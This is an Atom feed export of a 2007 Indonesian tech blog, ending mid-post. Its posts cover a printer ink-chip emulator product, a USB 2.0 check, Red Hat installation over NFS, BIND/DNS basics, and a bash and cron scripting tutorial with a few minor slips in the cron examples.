<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-32979319</id><updated>2011-11-28T06:36:10.952+07:00</updated><title type='text'>#Yogyakarta EFnet Learning Never End</title><subtitle type='html'>a Litle Space to make Peace, thx to all users who joined here. #yogyakarta EFnet is one of much channel at EFnet. We always try to make users happy stay there. So pls join here and have fun ... "Learning Never End"</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>59</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-32979319.post-5016845741137103753</id><published>2007-08-03T21:39:00.000+07:00</published><updated>2007-08-03T21:41:04.319+07:00</updated><title type='text'>The Usb emulator</title><content type='html'>The Usb emulator is made by a powerful microprocessor  that simulate  the job of 8 Mimaki  Original Id Chips!&lt;br /&gt;&lt;br /&gt;It works like the Original Mimaki original chip! He accept Read command, Write commands and he have internal memory! The printer will never Know if he is using a original or a simulated chip! When one chip is empty, you just need to press a button and you will download a new one from our database! Automatically the printer counter will be at 9 and you will be able to print more 500ml of ink!&lt;br /&gt;&lt;br /&gt;You can discard any chip at any time allowing you to keep the machine running for long jobs, without worries about chip end!&lt;br /&gt;&lt;br /&gt;You can download 8 spare liters of ink and keep them as spares inside Emulator PCb to prevent problems in case of internet connection down!&lt;br /&gt;his version is designed for Ink producers , ink distributors and machine dealers! &lt;br /&gt;&lt;br /&gt;With it, the dealer can control all the printers they have installed on their customers.&lt;br /&gt;&lt;br /&gt;The dealer will install a PCB on the customer machine and will install the Emulink Software on Rip computer!&lt;br /&gt;&lt;br /&gt;EmuManager software will be installed on dealer office, and will be used as a management software for all printers installed in customers! With it the dealer can distribute the credits (liters of ink) to their customers! If a customer buy from it one litter of ink he will transfer for Customer account 1 credit (1 litter)! This credit can be given to customer free of charge, or can be sell.&lt;br /&gt;&lt;br /&gt;This credit will automatically be posted on the customer's account and can be retrieved using the Emulink software previously installed by the Dealer on the customer's Rip computer!&lt;br /&gt;&lt;br /&gt;Each PCB (installed on every machine used by the system) has a unique serial number ensuring a high level of security for the system!&lt;br /&gt;&lt;br /&gt;The customer will never be able to buy extra credits from other dealers, other customers or from Chipemulator.com - the customer can only purchase credits from the original dealer. As a dealer, you can check on the existing number of credits for a particular customer at any time via the software.&lt;br /&gt;&lt;br /&gt;A customer can have multiple machines installed. The system can manage the credits assigned to the various machines individually or as a group!&lt;br /&gt;&lt;br /&gt;If the customer stops buying ink credits from you, the dealer, you can remotely disable their Emulator PCB.&lt;br /&gt;&lt;br /&gt;If customer wants to start using ink from a competitor, the customer can only do so with your authorization otherwise the system will stop functioning when the credits run out.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-5016845741137103753?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/5016845741137103753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=5016845741137103753&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/5016845741137103753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/5016845741137103753'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/08/usb-emulator.html' title='The Usb emulator'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-8803762149726716570</id><published>2007-08-03T21:36:00.000+07:00</published><updated>2007-08-03T21:37:17.271+07:00</updated><title type='text'>How do I know if my PC has USB 2.0?</title><content type='html'>You can identify whether your PC has Hi-Speed or not relatively easy. Open Device Manager and expand the Universal Serial Bus section. There should be an "Enhanced" USB host controller present. &lt;br /&gt;&lt;br /&gt;Windows 98 systems may use a different name, because Hi-Speed USB drivers in these operating systems are not provided directly from Microsoft (Windows ME, 2000 and XP get their drivers through Windows Update). &lt;br /&gt;&lt;br /&gt;These drivers are provided by the manufacturer, and may carry the maker?s name (i.e. ADS, Belkin, IOGear, Siig, etc.). There should also be two ?standard? version USB host controllers present as well. They are embedded in the USB chip&lt;br /&gt;&lt;br /&gt;There are currently 6 manufacturers of the Hi-Speed USB host silicon themselves:&lt;br /&gt;ALi (Acer Labs)&lt;br /&gt;&lt;br /&gt;Intel&lt;br /&gt;&lt;br /&gt;NEC&lt;br /&gt;&lt;br /&gt;SiS&lt;br /&gt;&lt;br /&gt;VIA&lt;br /&gt;&lt;br /&gt;nVidia (shows as "Standard" controller &lt;br /&gt;&lt;br /&gt;Any other brand name that appears in Device Manager would likely be an add-in Hi-Speed USB PCI card. The makers above do not make add-in cards, but they do make the chips that are used in them. which routes the differing USB speeds accordingly without user intervention.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-8803762149726716570?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/8803762149726716570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=8803762149726716570&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/8803762149726716570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/8803762149726716570'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/08/how-do-i-know-if-my-pc-has-usb-20.html' title='How do I know if my PC has USB 2.0?'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-6242633431192029891</id><published>2007-08-03T21:35:00.001+07:00</published><updated>2007-08-03T21:35:36.080+07:00</updated><title type='text'>Booting Linux Installation Program</title><content type='html'>To begin setting up your new Red Hat system, either boot from the installation CD, or insert the installation diskette in the system's A: drive, and reboot or power-on the system. After a few moments, the Red Hat installation program screen should appear.&lt;br /&gt;&lt;br /&gt;In most cases, you can just press &lt;Enter&gt; to begin the installation process, but if you are a more experienced user who knows exactly how your hardware devices should be set up, you can enter ``expert'' for the additional information and prompts this feature provides. (If you do nothing, the default installation procedure will start in about 10 to 15 seconds after the installation screen first appears.)&lt;br /&gt;&lt;br /&gt;You will then be asked to choose your language (usually "English") and your keyboard type (even in Canada I choose "US 101-key"), as well as where you are installing from (such as from your CD-ROM or over the network). Red Hat is very flexible in where it can be installed from.&lt;br /&gt;&lt;br /&gt;Most likely you will choose ``Local CDROM'' to install from your Red Hat CD-ROM (which should be inserted into your CD-ROM device). However, if your system is not equipped with a CD-ROM device, there are a number of other installation methods you can choose.&lt;br /&gt;&lt;br /&gt;If you have another Linux system (or any other operating system that supports NFS file mounting), you can use ``NFS'' to install from an NFS mount. To do this, you'll need to have your CD-ROM mounted in the other system (or otherwise have the Red Hat distribution tree somewhere on the other system -- it is possible to download everything via FTP and then install from your other system's hard drive), make sure you have an entry in your /etc/exports file allowing access by the new system to the appropriate directory (see Section 7.6 for details on how to set up and use NFS), and then enter the appropriate details. Here's an example walk-through:&lt;br /&gt;&lt;br /&gt;        *&lt;br /&gt;&lt;br /&gt;          Insert the Red Hat CD into the other system (eg. a system called ``spock'').&lt;br /&gt;        *&lt;br /&gt;&lt;br /&gt;          To mount the CD, type:&lt;br /&gt;&lt;br /&gt;mount /dev/cdrom /mnt/cdrom -t iso9660&lt;br /&gt;&lt;br /&gt;        *&lt;br /&gt;&lt;br /&gt;          Edit, as the superuser, your ``/etc/exports'' file and put an entry like:&lt;br /&gt;&lt;br /&gt;/mnt/cdrom newsys.mydomain.name(ro)&lt;br /&gt;&lt;br /&gt;          (This says that the new system at newsys.mydomain.name is allowed read-only access to the directory ``/mnt/cdrom/'' and any subdirectories under it).&lt;br /&gt;&lt;br /&gt;          If your new system does not yet have a domain name assigned to it, you can instead use its IP address:&lt;br /&gt;&lt;br /&gt;/mnt/cdrom 10.23.14.8(ro)&lt;br /&gt;&lt;br /&gt;          (Assuming your new system has 10.23.14.8 as its IP address).&lt;br /&gt;        *&lt;br /&gt;&lt;br /&gt;          Again, as superuser, type:&lt;br /&gt;&lt;br /&gt;killall -HUP rpc.nfsd ; killall -HUP rpc.mountd&lt;br /&gt;&lt;br /&gt;          This will restart your NFS and mountd daemons, which is necessary before your new NFS export will work.&lt;br /&gt;        *&lt;br /&gt;&lt;br /&gt;          Now, from your new system, you can choose ``NFS'' as your installation source. You'll be asked to provide information on your network card, as well as your IP settings. You'll likely use static IP settings if your system is sitting on a local LAN, or DHCP settings if, for example, your system is connected to a cable modem. Enter the settings as appropriate for your new system.&lt;br /&gt;        *&lt;br /&gt;&lt;br /&gt;          You'll then be asked to enter the NFS server name and Red Hat directory. For our example system, we would type in ``spock'' as the NFS server name, and ``/mnt/cdrom/'' as the Red Hat directory.&lt;br /&gt;&lt;br /&gt;There are other ways of installing Red Hat, such as using a Samba (Windows-style networking) connection, from an existing partition (such as your DOS or Windows 95 partition) on your hard drive, or via FTP. Check the Red Hat users guide for more details on installing using these methods, or just try to struggle through them (the procedures are really not very difficult!)&lt;br /&gt;&lt;br /&gt;Once you have chosen your installation source, Red Hat will ask you if you wish to "Install" or "Upgrade" your system. As you are installing a new system, you should choose "Install". (As an aside, I'm a fairly anal person who never upgrades new distribution releases over existing systems -- I guess having suffered through so many problems with Microsoft products I have developed a significant mistrust for upgrading systems as a whole. I prefer to install from scratch, and simply restore from backup my personal/user and local site files.)&lt;br /&gt;&lt;br /&gt;The installation program will then ask you if you have a SCSI adapter. If you answer yes, you'll be asked to choose the appropriate driver. In some circumstances, Red Hat will be able to detect your adapter automatically.&lt;br /&gt;&lt;br /&gt;Next, you'll be asked to set up your file systems (ie. partition one or more drives for Linux). There are two tools available for setting up these partitions, including the Red Hat-supplied "Disk Druid", and the standard Linux "/fdisk" utility.&lt;br /&gt;&lt;br /&gt;Both tools are similar in function, allowing you to specify the partition types and sizes. However, Disk Druid seems to be a bit more "user friendly", and a bit more complete than fdisk. In fact, if you use fdisk to partition your drives, you'll then be presented with the Disk Druid screen for specifying your mount points anyway. That being said, as an ex-Slackware user, I personally always use fdisk -- force of habit, I guess! :-)&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-6242633431192029891?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/6242633431192029891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=6242633431192029891&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/6242633431192029891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/6242633431192029891'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/08/booting-linux-installation-program.html' title='Booting Linux Installation Program'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-8248846481228054412</id><published>2007-07-28T13:52:00.000+07:00</published><updated>2007-07-28T13:54:29.061+07:00</updated><title type='text'>BIND DNS server</title><content type='html'>Bind atau named adalah sebuah aplikasi dari DNS (Domain Name Server) yang dibuat oleh Paul Vixie. Named bekerja secara background mendengarkan permintaan client pada port 53.&lt;br /&gt;Untuk merequest sebuah domain di Indonesia dapat memohon kepada http://www.idnic.net.id. Idnic melayani permohonan domain dengan akhiran co.id, ac.id, dan go.id.&lt;br /&gt;Yang menyediakan domain-domain tertentu dengan gratis untuk belajar named dan mencoba, misalnya : http://www.za.net dan http://www.ml.org. Syaratnya cuma satu yaitu mempunyai beberapa alamat IP, 2 atau 3 sudah cukup.&lt;br /&gt;Konsep DNS&lt;br /&gt;Dalam berkomunikasi, antar komputer sudah cukup dengan menggunakan alamat IP. Namun untuk manusia diperlukan sebuah nama untuk saling kenal dan oleh karena itu DNS ada. Manusia tidak mudah mengingat alamat IP yang terdiri dari angka dibandingkan sebuah nama.&lt;br /&gt;DNS adalah sebuah aplikasi untuk menukarkan nama komputer ke alamat IP dan sebaliknya. Contoh software untuk DNS adalah BIND (Berkeley Internet Name Domain) untuk UNIX atau sering disebut named. Cara kerja DNS adalah sbb :&lt;br /&gt;Misalkan ada client yang menanyakan "berapa alamat IP dari www.ilmu.net ?". Pertanyaan ini dilemparkan ke DNS Lokal. Dengan segera DNS Lokal memeriksa databasenya. Kemudian ternyata www.ilmu.net tidak terdapat di dalam databasenya. Lalu ia memeriksa cache. Bila ada, jawaban langsung dikirim ke client. Tapi bila tidak ada, maka ia akan mencari jawabannya ke Root DNS. Root DNS pasti mempunyai database yang dimaksud dan memberikannya ke DNS Lokal dan pada akhirnya diberikan ke client tadi.&lt;br /&gt;Root DNS ini memuat seluruh daftar nama yang ada di dunia, dan Root DNS ini tidak hanya terdiri dari satu server melainkan sekitar 13 server yang diletakkan di seluruh dunia.&lt;br /&gt;Nama domain di dunia dipecah menjadi : &lt;br /&gt;  .com (komersial)&lt;br /&gt;  .org (organisasi)&lt;br /&gt;  .edu (education/pendidikan)&lt;br /&gt;  .gov (government/pemerintahan)&lt;br /&gt;  .mil (military/militer)&lt;br /&gt;  .net (network)&lt;br /&gt;dan di Indonesia diubah sedikit menjadi :&lt;br /&gt;  .co.id (komersial)&lt;br /&gt;  .or.id (organisasi)&lt;br /&gt;  .ac.id (academic)&lt;br /&gt;  .go.id (government)&lt;br /&gt;  .mil.id (militer)&lt;br /&gt;  .net.id (layanan jaringan)&lt;br /&gt;Pembagian ini berdasarkan kepada jenis institusi yang meminta nama domain.&lt;br /&gt;Selain itu, penyusunan domain dibuat bertingkat dan mempunyai hirarki tertentu. Domain-domain di seluruh dunia sangat banyak dan tidak mungkin semuanya ditampung oleh Root DNS. Root DNS hanya memegang 'kepala' dari domain tertentu.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-8248846481228054412?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/8248846481228054412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=8248846481228054412&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/8248846481228054412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/8248846481228054412'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2007/07/bind-dns-server.html' title='BIND DNS server'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-2985738702674996267</id><published>2007-07-28T13:51:00.000+07:00</published><updated>2007-07-28T13:52:44.513+07:00</updated><title type='text'>Otomatisasi dengan skrip shell (bagian 2)</title><content type='html'>Priyadi Iman Nurcahyo &lt;http://www.priyadi.id.org&gt;&lt;br /&gt;Majalah InfoKomputer &lt;http://www.infokomputer.co.id&gt; &lt;br /&gt;Juli 2000 &lt;br /&gt; &lt;br /&gt;Dalam edisi yang lalu, kita telah membahas beberapa konstruksi dari Bourne Again Shell. Kini kita akan membahas beberapa konstruksi lainnya, serta bagaimana mengotomatisasi eksekusi skrip shell melalui cron dan at.&lt;br /&gt;Konstruksi untuk Looping&lt;br /&gt;Bash memiliki dua buah konstruksi untuk melakukan iterasi, yaitu while dan until. Keduanya memiliki sintaks seperti di bawah ini:&lt;br /&gt;while kondisi ; do perintah ; done&lt;br /&gt;until kondisi ; do perintah ; done&lt;br /&gt;Pada konstruksi while, bash akan mengeksekusi perintah berulang-ulang jika kondisi bernilai benar. Sedangkan pada konstruksi until, bash akan mengeksekusi perintah berulang-ulang jika kondisi bernilai salah.&lt;br /&gt;Sebagaimana konstruksi lainnya, anda dapat menggabungkan beberapa perintah dalam satu baris dengan menggunakan titik koma (;). Anda juga dapat mengeksekusi perintah di dalam sub-shell dengan menuliskannya di dalam tanda kurung. Kondisi dapat berupa perintah shell biasa ataupun test kondisi (lihat di bawah). Anda juga dapat menempatkan beberapa perintah di dalam kondisi, namun anda harus memasukkannya di dalam tanda kurung (dieksekusi di dalam sub shell), perintah yang akan dicek kebenarannya adalah perintah yang terakhir.&lt;br /&gt;Contoh:&lt;br /&gt;• (while true ; do (clear ; who ; sleep 5) ; done), memonitor user yang sedang online, perintah tersebut akan menghapus layar, kemudian menampilkan output perintah who berulang-ulang setiap lima detik. Perintah true akan selalu bernilai benar. Seluruh konstruksi while dijalankan di dalam sub-shell supaya dapat di-break dengan menggunakan Ctrl-C, jika tidak, Ctrl-C hanya akan berpengaruh pada perintah (clear ; who ; sleep 5).&lt;br /&gt;Konstruksi untuk Kondisi&lt;br /&gt;Kondisi adalah konstruksi yang wajib dimiliki oleh bahasa pemrograman dan skrip apapun. Bash memiliki konstruksi seperti dalam bentuk if ... then ... else ... fi. Konstruksi tersebut memiliki sintaks seperti ini:&lt;br /&gt;if kondisi&lt;br /&gt;then&lt;br /&gt;    perintah1&lt;br /&gt;else&lt;br /&gt;    perintah2&lt;br /&gt;fi&lt;br /&gt;Bash akan mengeksekusi perintah1 jika kondisi terpenuhi, atau bash akan mengeksekusi perintah2 jika kondisi tidak terpenuhi. Seperti biasa, kondisi dapat terdiri dari beberapa perintah shell jika dilingkungi oleh tanda kurung. Perintah1 dan perintah2 dapat juga terdiri dari beberapa baris perintah.&lt;br /&gt;Beberapa buah contoh:&lt;br /&gt;• if ping -c1 sinta ; then logger "sinta hidup" ; else logger "sinta meninggal" ; fi, ping -c1 delta akan mencek apakah komputer bernama sinta sedang aktif. Jika sedang aktif, pesan "sinta hidup" akan dikirim ke syslog, dan jika sedang mati, pesan "sinta meninggal" akan dikirim ke syslog. Di kebanyakan distribusi Linux, biasanya pesan tersebut akan ditemukan di file /var/log/messages atau /var/adm/messages&lt;br /&gt;• for A in `find / -type f`&lt;br /&gt;• do&lt;br /&gt;•     if (file $A | grep text &gt; /dev/null)&lt;br /&gt;•     then&lt;br /&gt;•         sed s/10\.0\.0\.1/192.168.0.1/g &amp;lt; $A &gt; $A._tmp&lt;br /&gt;•         mv -f $A._tmp $A&lt;br /&gt;•     fi&lt;br /&gt;• done&lt;br /&gt;• Perintah ini akan mengganti seluruh string 10.0.0.1 menjadi 192.168.0.1 pada setiap file teks yang ada di dalam filesystem. Perintah file $A | grep text akan bernilai benar jika file pada variabel $A adalah file teks.&lt;br /&gt;• while true&lt;br /&gt;• do&lt;br /&gt;•     sleep 5&lt;br /&gt;•     if (ifconfig | grep ppp0 &gt; /dev/null)&lt;br /&gt;•     then&lt;br /&gt;•         if ( ! ps -x | grep -v grep | grep gnomeicu &gt; /dev/null)&lt;br /&gt;•         then&lt;br /&gt;•             gnomeicu -a &amp;&lt;br /&gt;•         fi&lt;br /&gt;•         if ( ! ps -x | grep -v grep | grep gaim &gt; /dev/null)&lt;br /&gt;•         then&lt;br /&gt;•             gaim &amp;&lt;br /&gt;•         fi&lt;br /&gt;•     else&lt;br /&gt;•         killall gnomeicu 2&gt; /dev/null&lt;br /&gt;•         killall gaim 2&gt; /dev/null&lt;br /&gt;•     fi&lt;br /&gt;• done&lt;br /&gt;• Perintah di atas akan mencek kondisi link internet dial-up setiap 5 detik. Perintah ifconfig | grep ppp0 mencek apakah string ppp0 ada pada output dari ifconfig, dengan kata lain mencek apakah link internet dial-up sedang aktif. Jika sedang aktif maka bash akan menjalankan gnomeicu dan gaim di background (dengan menggunakan tanda &amp;), dan jika sedang tidak aktif, bash akan mematikan kedua proses tersebut. Tanda \ pada skrip di atas berguna untuk memisahkan baris yang terlalu panjang ke baris lainnya, namun tetap dianggap sebagai satu baris perintah oleh bash. Perintah ps -x | grep -v grep | grep gnomeicu akan memberikan nilai benar jika ditemukan proses gnomeicu yang sedang aktif, grep -v grep dalam hal ini diperlukan untuk memfilter string grep, karena string grep gnomeicu akan muncul pada tabel proses. Tanda 2&gt; /dev/null akan mengakibatkan pesan error tidak ditampilkan (killall akan menampilkan pesan error jika proses yang akan dimatikan ternyata tidak aktif. Namun skrip shell tersebut akan lebih efisien jika dilakukan dari dalam cron (lihat di bawah).&lt;br /&gt;Menjalankan Perintah Secara Berkala dengan Cron&lt;br /&gt;Cron berguna untuk menjalankan perintah-perintah setiap waktu tertentu. Sebelum menggunakan cron, pastikanlah daemon crond sedang berjalan dengan menggunakan ps auwx | grep crond. Jika belum aktif, aktifkanlah dengan menggunakan skrip inisialisasi crond, biasanya ditemukan di /etc/rc.d/init.d pada distribusi RedHat atau kompatibel, atau /etc/init.d pada distribusi Debian. Untuk mengaktifkannya pada setiap booting gunakan ntsysv jika anda menggunakan RedHat atau kompatibel.&lt;br /&gt;Konfigurasi cron dilakukan dengan menggunakan perintah crontab -e. Sebelum menjalankan crontab, ada baiknya anda menset variabel EDITOR berisi editor teks favorit anda, misalnya: export EDITOR=pico, jika anda menggunakan pico.&lt;br /&gt;Format crontab terdiri dari beberapa baris, dengan satu baris berisi satu perintah berkala. Setiap baris terdiri dari lima buah field pertama yang berisi informasi kapan perintah tersebut akan dijalankan. Field-field tersebut adalah:&lt;br /&gt;• menit, bernilai 0-59&lt;br /&gt;• jam, bernilai 0-23&lt;br /&gt;• tanggal, bernilai 0-31&lt;br /&gt;• bulan, bernilai 0-12&lt;br /&gt;• hari, bernilai 0-7 (0 atau 7 adalah hari Minggu)&lt;br /&gt;Selain dari field-field tersebut, adalah perintah yang akan dieksekusi oleh cron. Nilai dapet berupa range (dipisahkan oleh -) atau beberapa nilai (dipisahkan oleh koma (,)). Anda dapat juga menggunakan asterisk untuk mencantumkan semua nilai yang mungkin untuk field tersebut.&lt;br /&gt;Contoh:&lt;br /&gt;• 5 0 * * * cat /dev/null &gt; /var/log/pacct&lt;br /&gt;mengosongkan file /var/log/pacct (untuk keperluan process accounting) setiap jam 12 malam lewat 5 menit&lt;br /&gt;• 5 3 1,15 * * df | mail admin&lt;br /&gt;melaporkan keadaan ruang harddisk kepada admin melalui email setiap tanggal 1 dan 15 setiap bulannya, pada pukul 3.15 pagi&lt;br /&gt;• * * * * * (if (ifconfig | grep ppp0) ; then /usr/local/bin/ppp-nyala ; else /usr/local/bin/ppp-mati ; fi ) &gt; /dev/null 2&gt;&amp;1&lt;br /&gt;(semua dalam satu baris)&lt;br /&gt;akan menjalankan skrip /usr/local/bin/ppp-mati jika koneksi internet dalam keadaan hidup, dan menjalankan /usr/local/bin/ppp-mati jika koneksi dial-up internet dalam keadaan mati, pengecekan dilakukan setiap menit.&lt;br /&gt;• 0 0-23/2 * * 1-5 (if ping -c1 donna ; then logger "donna sehat wal afiat" ; else logger "donna meninggal" ; fi)&lt;br /&gt;(semua dalam satu baris)&lt;br /&gt;mencek keadaan donna (komputer bernama donna) apakah hidup atau mati (dengan cara ping), pengecekan dilakukan setiap 